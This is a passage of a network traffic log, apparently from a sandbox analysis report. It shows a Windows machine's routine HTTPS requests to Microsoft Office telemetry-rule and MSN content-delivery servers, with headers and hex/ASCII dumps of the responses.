2024-12-06 23:15:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:40 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:40 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1f654f05-501e-008f-5009-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231540Z-r1cf579d778z4wflhC1EWRa3h000000000pg000000005vxc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 23:15:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49797	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:40 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231535Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=f491e9200a6e49138fbd4a5d48232188&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617337&metered=false&nettype=ethernet&npid=sc-338387&oemName=weoost%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=weoost20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXb/8B0h6MD+lipnPiN+E7IPKg8ML5pISMgc9UmRU/UC+WbU5XTRXiUA7BVctq4H+T5ceIUiVnoHtv3tGpKujxqKOGtnF+MDOZM7Y3AgsPfsotHMfOMclvEtGWd8OKRaDpLEvZd3OSRJNIxT0DU4FZkDG0yUKBr84hE9P7SNaao3ExoUGYQeP415kYth/Ksv+OmsBPEDJkPSHefHNjIbnWjY+FrbJKEOTtggvLM9u6p7rwE20WeROB9o+FEvGMNc7xRiMiVeIjkB5oWWJ0wE/qRAdS/l0qmr+OEba2O0t1uv2arRGRgxl/NEG8mDYdGtkEX40g65mVfO4wPJTUtYupYQZgAAEKIn5F2M01T7WVlJewyT/ZKwAb8TD3RFg03+kVzjPhsGYTSNKDM3gwdlA5hbM7qxbDNnE4OJmKzkg97gRX+tKGw4TkWaFFIZ2NRX+/rGO8NXDxhNjYL4P+SiKDmiFP8JrbXKSc8WqpM4lY8QmUV+VI+yfcCvf3/j7FMqRDDxB6MZ4lX6KkiH5JpPK6lZN6gNRuHHvdtU+xBSBrTjamdUrXgn0WGA71GCn/QRce3xsSjUn3zoCncQDwm6Q9YFDf6DOr1pkRBsvfqKD/dS2MCMusIKAvfvHRFl2eYH7i/HVaw4ygVZ1Lhdudq2NZ7TUBXvSsBmlgMpg9LVs79YuXjvsdktvcGtBb27cS4tvtxv7adPx+7/UNcpjeNyTEGpcfmqcXkk8f6BQSiota7gLCZ+xrTieGSvAcS9hl5K0UwrNUsDQDLkcVwnX1I3MRgAZLQebB3Lkg/u7fRTOr5+R6XQ08Ji0NZ2l5Lx7/RNOk44zPq8sdm9P9Ko95yRTcZasQjgt8gXFdEAkbtcd/uJzm2bGX4LycSEpAXcVGo4p5oMAb4OBGk6v7dSCZugHC767+LbVEcAbjKyDn2hLpI5PkVZS7GZbNgB&p= Cache-Control: no-cache MS-CV: HSk4YAAtPEyazUeO.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 23:15:41 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23414 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: Dqg5ZIHfcCJLK9qdQz/58QDYgbUWjUs5UiP52pMy3MGBjQKKZG/HFm9e3BO13/0TeoZ2v17A4V8ckjf9Vju8T88uX6rNRhwGAz93QAPwOzFzWw3ktwVLMfwl0GpYDREU4BsfxLI2fo4HXbF6NNLBBniLw5BEtGWwE2Lmbw390XoHrv0ojt3tU2TYYQ6JPHBJ3WSwHIDw4b8/HH+9eRLsGuC+5Ocj3MCU2u6mtIr3uLqMDzftkJHUbW5EVdXfc26snccm0x/G8VBbntbc+xsDgFXXgSR9bhL+QYc5YJvA2xSV+E77FWUTtfCcm/WcpX3ur0jMbwIOH+pkW/GjPnjqsw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 23:15:40 GMT Connection: close
2024-12-06 23:15:41 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-12-06 23:15:41 UTC	7845	IN	Data Raw: 22 3a 5c 22 55 32 56 68 63 6d 4e 6f 51 57 51 6a 4f 44 55 78 4e 44 4d 35 4f 54 41 31 4d 6a 4d 33 4e 7a 45 6a 4d 6a 4d 7a 4e 6a 6b 30 4d 7a 49 30 4e 6a 41 78 4d 6a 55 35 4d 41 3d 3d 5c 22 7d 2c 5c 22 5f 66 6c 69 67 68 74 5c 22 3a 5c 22 5c 22 7d 7d 22 7d 2c 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f Data Ascii: ":\"U2VhcmNoQWQjODUxNDM5OTA1MjM3NzEjMjMzNjk0MzI0NjAxMjU5MA==\"},\"_flight\":\"\"}}"},{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"pro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49798	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:40 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231536Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=50ae62cda00e47d08d50b45e5187813d&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617337&metered=false&nettype=ethernet&npid=sc-338388&oemName=weoost%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=weoost20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXb/8B0h6MD+lipnPiN+E7IPKg8ML5pISMgc9UmRU/UC+WbU5XTRXiUA7BVctq4H+T5ceIUiVnoHtv3tGpKujxqKOGtnF+MDOZM7Y3AgsPfsotHMfOMclvEtGWd8OKRaDpLEvZd3OSRJNIxT0DU4FZkDG0yUKBr84hE9P7SNaao3ExoUGYQeP415kYth/Ksv+OmsBPEDJkPSHefHNjIbnWjY+FrbJKEOTtggvLM9u6p7rwE20WeROB9o+FEvGMNc7xRiMiVeIjkB5oWWJ0wE/qRAdS/l0qmr+OEba2O0t1uv2arRGRgxl/NEG8mDYdGtkEX40g65mVfO4wPJTUtYupYQZgAAEKIn5F2M01T7WVlJewyT/ZKwAb8TD3RFg03+kVzjPhsGYTSNKDM3gwdlA5hbM7qxbDNnE4OJmKzkg97gRX+tKGw4TkWaFFIZ2NRX+/rGO8NXDxhNjYL4P+SiKDmiFP8JrbXKSc8WqpM4lY8QmUV+VI+yfcCvf3/j7FMqRDDxB6MZ4lX6KkiH5JpPK6lZN6gNRuHHvdtU+xBSBrTjamdUrXgn0WGA71GCn/QRce3xsSjUn3zoCncQDwm6Q9YFDf6DOr1pkRBsvfqKD/dS2MCMusIKAvfvHRFl2eYH7i/HVaw4ygVZ1Lhdudq2NZ7TUBXvSsBmlgMpg9LVs79YuXjvsdktvcGtBb27cS4tvtxv7adPx+7/UNcpjeNyTEGpcfmqcXkk8f6BQSiota7gLCZ+xrTieGSvAcS9hl5K0UwrNUsDQDLkcVwnX1I3MRgAZLQebB3Lkg/u7fRTOr5+R6XQ08Ji0NZ2l5Lx7/RNOk44zPq8sdm9P9Ko95yRTcZasQjgt8gXFdEAkbtcd/uJzm2bGX4LycSEpAXcVGo4p5oMAb4OBGk6v7dSCZugHC767+LbVEcAbjKyDn2hLpI5PkVZS7GZbNgB&p= Cache-Control: no-cache MS-CV: HSk4YAAtPEyazUeO.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 23:15:41 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3892 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: hb0WfKuS4i5/LpdQPHRNvpkZeY4vqboNWLd8rq/44PwugT3IyFrKNTU2uRqZTJQIzEeNYm9qxsUSwCSlV7fmV4TfVVdxZrToOSV3VyTrE9FRA1xEbwUHEhLKdZw8iV4gMxZ3+saq21s3gY/XCPDYEI3g7AZ7E4TFb7pyqyiLmQNmgIMyGxEzN/r29FrEr6LmznjQjzU/C52trqLBsgw5oKW0wzd/WcCmQ/bKbHE3wZDhBCxStp6k+Ufm0pk53QC7Y+FV+pJLDbifj/tdtHZ+UYByNlslwoN6FTb1DHdBH8NrDApBHzclr/+cy8G7w4NQxl5ovmjKbPSwwTEggBSGTA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 23:15:40 GMT Connection: close
2024-12-06 23:15:41 UTC	3892	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49799	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:40 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231535Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=86c593dfb45b4ae89894323e85f2acb4&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617337&metered=false&nettype=ethernet&npid=sc-280815&oemName=weoost%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=weoost20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXb/8B0h6MD+lipnPiN+E7IPKg8ML5pISMgc9UmRU/UC+WbU5XTRXiUA7BVctq4H+T5ceIUiVnoHtv3tGpKujxqKOGtnF+MDOZM7Y3AgsPfsotHMfOMclvEtGWd8OKRaDpLEvZd3OSRJNIxT0DU4FZkDG0yUKBr84hE9P7SNaao3ExoUGYQeP415kYth/Ksv+OmsBPEDJkPSHefHNjIbnWjY+FrbJKEOTtggvLM9u6p7rwE20WeROB9o+FEvGMNc7xRiMiVeIjkB5oWWJ0wE/qRAdS/l0qmr+OEba2O0t1uv2arRGRgxl/NEG8mDYdGtkEX40g65mVfO4wPJTUtYupYQZgAAEKIn5F2M01T7WVlJewyT/ZKwAb8TD3RFg03+kVzjPhsGYTSNKDM3gwdlA5hbM7qxbDNnE4OJmKzkg97gRX+tKGw4TkWaFFIZ2NRX+/rGO8NXDxhNjYL4P+SiKDmiFP8JrbXKSc8WqpM4lY8QmUV+VI+yfcCvf3/j7FMqRDDxB6MZ4lX6KkiH5JpPK6lZN6gNRuHHvdtU+xBSBrTjamdUrXgn0WGA71GCn/QRce3xsSjUn3zoCncQDwm6Q9YFDf6DOr1pkRBsvfqKD/dS2MCMusIKAvfvHRFl2eYH7i/HVaw4ygVZ1Lhdudq2NZ7TUBXvSsBmlgMpg9LVs79YuXjvsdktvcGtBb27cS4tvtxv7adPx+7/UNcpjeNyTEGpcfmqcXkk8f6BQSiota7gLCZ+xrTieGSvAcS9hl5K0UwrNUsDQDLkcVwnX1I3MRgAZLQebB3Lkg/u7fRTOr5+R6XQ08Ji0NZ2l5Lx7/RNOk44zPq8sdm9P9Ko95yRTcZasQjgt8gXFdEAkbtcd/uJzm2bGX4LycSEpAXcVGo4p5oMAb4OBGk6v7dSCZugHC767+LbVEcAbjKyDn2hLpI5PkVZS7GZbNgB&p= Cache-Control: no-cache MS-CV: HSk4YAAtPEyazUeO.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 23:15:41 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2939 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: RzFr+qMkiMkoSybXqaUQDLm75XKRzSNNi/V1M+d/szFdFv3IZGEP8YGcxV7OpINIc7D1vQdjzCN47ihx3h/ku96vzD9lDoTG+kjsiVyC9hvmpGdFSjxYvjUq0p1SC2T05BV+VwZQV5gbn9+dtDyJnju37f7X9zJs8tXprYWQmvH169k03esN0EWzfweqEbxzNTzURGvS/QonRBTovFRBmnwFH4+9Nf7IueUhusfL3qngW0EZatXKGqKifGbEm4O9LvLBtPzTKJDdKksV3L2zDtnR3g9L7qgcpWusA2mgnSuOgD0igLkU9d4m19K2xCAX//SnAOQect7FSKGLpdFkKg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 23:15:40 GMT Connection: close
2024-12-06 23:15:41 UTC	2939	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:41 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:42 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 6fdb675e-b01e-0070-05ce-451cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231542Z-1746fd949bd4w8sthC1EWR700400000004ng00000000b4xc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:42 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
